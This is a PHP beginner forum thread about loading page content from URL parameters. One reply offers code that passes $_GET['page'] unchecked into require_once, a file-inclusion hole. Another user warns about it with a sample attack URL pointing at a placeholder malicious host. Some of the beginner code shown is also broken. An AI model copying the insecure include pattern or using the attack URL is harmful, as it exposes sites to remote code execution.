Jump to content

Recommended Posts

I tried checking a link with a little php script and yes I am quite a noob with php cause I only read a tutorial, but here goes anyway.

[code]
<?php
$page= array("index.php, underC.php");
if ($page=="index.php")
include ("Newsfact_01");

elseif ($page=="underC.php")
Include ("underC.php");[/code]

I don't actually know if that works, but I want to check like what site is loaded and then load the information from a page in the table
Link to comment
https://forums.phpfreaks.com/topic/15690-checking-links/
Share on other sites

not too hot on arrays, but I usually pass the page in the url, so the index page looks like:

[code]if(isset($_GET['page'])) {
$page = $_GET['page'];
}
else {
$page = "home";
}

require_once($page . ".php");[/code]

this way, I store all the content in a separate folder called "content" funnily enough, and index page is just used to display it. So you might have the following page and link:

Home = index.php
News = index.php?page=news
About = index.php?page=about
Contact = index.php?page=contact

if that makes sense. :)
Link to comment
https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64020
Share on other sites

Hellusius you might want to look into [url=http://www.php.net/in-array]in_array[/url] if you are storing your pages filenames in an array.

Also ozPATT your code is very unsecure, as i can come along and do this:
yoursite.com/index.php?page=http://www.mybadsite.com/nastyfile.php
and nastyfile.php will have some malicous code which could pertentially screw up your site, and possibly others too.
Link to comment
https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64043
Share on other sites

It now looks like this btw

[code]    <?php
$page= array("index.php, underC.php");
if (in_array("index.php", $page, true))
{
include ("Newsfact_01");
}
elseif (in_array("underC.php", $page, true))
{
Include ("underC.php");
}
?>[/code]

The only problem I am experiencing, is that none of the pages are loaded in the table

am I doign something wrong?
Link to comment
https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64055
Share on other sites

I read all this post please tell us what you want to do bugging me lol...............

And this was the safe way to use get but each page has to have a condition=in the link ok.

say on index.php you have these three links for your site
[code]
<a href="links.php?h=home">my home page</a>// for home page

< a href="links.php?f=forum">my forum page</a>//for the forum page

<a href="links.php?c=contact">contact me</a>// contact admin page
[/code]

All the above links goto a page called links.php and know we call the links with the $_GET[' '] statement also the above was a html version ok and is also a safe way to use $_GET[' '].

Know on the page links.php you gotto use the $_GET[' '] statement.

link.php
[code]
<?php

if($_GET['h']=="home") {

header("location: index.php");

}elseif($_GET['f']=="forum") {

header("location: forum.php");

}elseif($_GET['c']=="contact") {

header("location: contact.php");

}else{

echo"sorry you have not got any right to be on this page";
exit;
}
?>
[/code]

Link to comment
https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64977
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.